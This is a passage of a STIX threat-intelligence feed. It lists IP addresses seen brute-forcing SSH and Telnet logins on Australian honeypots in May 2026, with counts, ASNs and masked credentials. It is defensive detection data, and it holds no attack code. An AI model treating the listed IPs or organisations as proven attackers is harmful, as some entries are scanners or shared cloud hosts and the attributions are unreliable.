      "pattern": "[ipv4-addr:value = '128.201.116.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:15:10.000Z",
      "valid_until": "2026-06-27T11:15:08.000Z"
    },
    {
      "created": "2026-05-26T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a4d2f6ac-7011-4c6e-8293-0843c9bd5b0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.205.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:15:10.000Z",
      "valid_until": "2026-06-27T11:15:08.000Z"
    },
    {
      "created": "2026-05-26T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 1680. Organisation(s): Cellcom Fixed Line Communication L.P.",
      "id": "indicator--51bec87c-17c1-46b4-a701-1c45f6bc91dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.139.118.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:15:10.000Z",
      "valid_until": "2026-06-27T11:15:08.000Z"
    },
    {
      "created": "2026-05-26T12:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0a763c80-7b87-401b-8494-2e9e75530231",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T12:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.169.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:15:12.000Z",
      "valid_until": "2026-06-27T12:15:08.000Z"
    },
    {
      "created": "2026-05-26T12:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*******************************************************************************************************************************5. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--7ee49255-dd72-4d64-9ca0-81b255a99fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T12:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:15:12.000Z",
      "valid_until": "2026-06-27T12:15:08.000Z"
    },
    {
      "created": "2026-05-26T12:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--6a015524-d65c-4c1c-ab3d-c0cf1e6202b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T12:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.212.129.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:15:12.000Z",
      "valid_until": "2026-06-27T12:15:08.000Z"
    },
    {
      "created": "2026-05-26T13:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--94554053-f6a9-46e2-af34-43c3da8ff84c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T13:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.155.36.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:15:24.000Z",
      "valid_until": "2026-06-27T13:15:08.000Z"
    },
    {
      "created": "2026-05-26T13:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--9ecde555-e4cc-4fe4-8256-f63a2be9881f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T13:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.86.97.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:15:24.000Z",
      "valid_until": "2026-06-27T13:15:08.000Z"
    },
    {
      "created": "2026-05-26T13:15:24.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--3b98f0dd-30a6-4131-a6f7-d99a9f67a8fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T13:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.142.134.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:15:24.000Z",
      "valid_until": "2026-06-27T13:15:08.000Z"
    },
    {
      "created": "2026-05-26T13:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--371c21c1-eb04-45d8-8847-b2e71da35f08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T13:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.120.128.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:15:24.000Z",
      "valid_until": "2026-06-27T13:15:08.000Z"
    },
    {
      "created": "2026-05-26T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 43357. Organisation(s): Owl Limited. Usernames observed (masked): d******m. Passwords observed (masked): 2************!.",
      "id": "indicator--27299497-3465-4d9f-b5be-80557585ab1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.254.75.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:15:11.000Z",
      "valid_until": "2026-06-27T14:15:08.000Z"
    },
    {
      "created": "2026-05-26T15:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--5df72dfc-d393-4e21-87de-295fd42a21b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.102.205.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:15:05.000Z",
      "valid_until": "2026-06-27T15:15:03.000Z"
    },
    {
      "created": "2026-05-26T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u. Passwords observed (masked): u****u.",
      "id": "indicator--5b3cd51f-6f25-4026-a3f6-87ec4e39a58d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.193.153.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:15:05.000Z",
      "valid_until": "2026-06-27T15:15:03.000Z"
    },
    {
      "created": "2026-05-26T15:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--5cd7278c-b242-46d5-8d76-63354cc841d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.82.108.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:15:05.000Z",
      "valid_until": "2026-06-27T15:15:03.000Z"
    },
    {
      "created": "2026-05-26T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--977a982e-5236-4ea0-80af-6576edfc4838",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.52.112.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:15:10.000Z",
      "valid_until": "2026-06-27T16:15:08.000Z"
    },
    {
      "created": "2026-05-26T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 62240. Organisation(s): Clouvider Limited.",
      "id": "indicator--dd43f1b8-0872-4941-87f0-b0095f1c48b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.255.161.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:15:05.000Z",
      "valid_until": "2026-06-27T17:15:03.000Z"
    },
    {
      "created": "2026-05-26T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 940. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, f*****r, o****e, ***, d****y. Passwords observed (masked): 1****6, p******d, ***, P******d, p******d.",
      "id": "indicator--acb0c33b-a298-4510-810b-f0b4fca45323",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:15:05.000Z",
      "valid_until": "2026-06-27T17:15:03.000Z"
    },
    {
      "created": "2026-05-26T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--79db7ecb-42a2-4022-94a8-1ac44d7e9de1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.84.152.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:15:05.000Z",
      "valid_until": "2026-06-27T17:15:03.000Z"
    },
    {
      "created": "2026-05-26T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--262664e4-2d19-4164-8626-97fa8af55489",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:15:05.000Z",
      "valid_until": "2026-06-27T17:15:03.000Z"
    },
    {
      "created": "2026-05-26T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272122. Organisation(s): TELECOMUNICACIONES G-NETWORK, C.A..",
      "id": "indicator--e5e78607-921e-4599-a23d-1990d8895273",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.61.136.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:15:05.000Z",
      "valid_until": "2026-06-27T17:15:03.000Z"
    },
    {
      "created": "2026-05-26T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--78f74d06-065e-41ff-a65a-b0a59282a217",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.91.44.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:15:05.000Z",
      "valid_until": "2026-06-27T17:15:03.000Z"
    },
    {
      "created": "2026-05-26T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--3fcba79d-7390-41a3-9836-19b40bcb5068",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.222.188.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:15:05.000Z",
      "valid_until": "2026-06-27T17:15:03.000Z"
    },
    {
      "created": "2026-05-26T18:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5c04682e-c76f-4538-8fad-5c35e1f181e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T18:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.96.49.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:15:38.000Z",
      "valid_until": "2026-06-27T18:15:03.000Z"
    },
    {
      "created": "2026-05-26T18:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--40c24f13-5d8d-4a11-8421-86c7edabccfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T18:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.113.212.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:15:38.000Z",
      "valid_until": "2026-06-27T18:15:03.000Z"
    },
    {
      "created": "2026-05-26T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 237. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t, 3**********4, ***, b**u, b*****r. Passwords observed (masked): 3***********4, 3**********4, f********************@, 1******@, 1*******@.",
      "id": "indicator--0e7986c6-9b80-4a84-83c2-291721114045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.154.62.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:15:11.000Z",
      "valid_until": "2026-06-27T19:15:08.000Z"
    },
    {
      "created": "2026-05-26T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): Y*******6.",
      "id": "indicator--c0a9c9a5-e493-41ce-92bd-673a4fb5f28b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.175.156.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:15:11.000Z",
      "valid_until": "2026-06-27T19:15:08.000Z"
    },
    {
      "created": "2026-05-26T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 11556. Organisation(s): Cable & Wireless Panama.",
      "id": "indicator--8f1dc8e4-cc52-4b44-8eef-6478a606639e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.75.210.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:15:11.000Z",
      "valid_until": "2026-06-27T19:15:08.000Z"
    },
    {
      "created": "2026-05-26T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f69af1a4-3a9f-4c7c-b987-cbc4e894f58a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.163.14.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:15:11.000Z",
      "valid_until": "2026-06-27T19:15:08.000Z"
    },
    {
      "created": "2026-05-26T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--f0a13016-32c9-4af7-aa3f-bf593a6fe92a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.31.224.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:15:11.000Z",
      "valid_until": "2026-06-27T19:15:08.000Z"
    },
    {
      "created": "2026-05-26T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc..",
      "id": "indicator--e24e2638-8269-42de-98a7-a04f4946e3bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.178.197.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:15:11.000Z",
      "valid_until": "2026-06-27T19:15:08.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--6a75ba82-db88-4593-9570-045aa3aa6467",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.213.112.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): s*****d, 3**********4. Passwords observed (masked): 3***********4, 3**********4, V****************o.",
      "id": "indicator--53cf7b94-e46e-4b65-8d46-8ffcb7dacdf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.96.13.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, l***e, 3**********4, a**n, k**g. Passwords observed (masked): 1****6, 1**************X, 3***********4, 3**********4, a**x.",
      "id": "indicator--1a112c25-8a28-4402-ae11-dfee03f2fba0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.123.150.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f1b9b742-d18d-41d4-81a4-380d26cc1986",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.109.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--3e9c3e17-e322-4b18-8d47-25723e044447",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t, s*****d, 3**********4, p******s, s*****r. Passwords observed (masked): !*******d, *, 1**********C, 3***********4, 3**********4.",
      "id": "indicator--b28403d3-1d3f-43cd-a1f6-c763c559c1de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.98.62.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
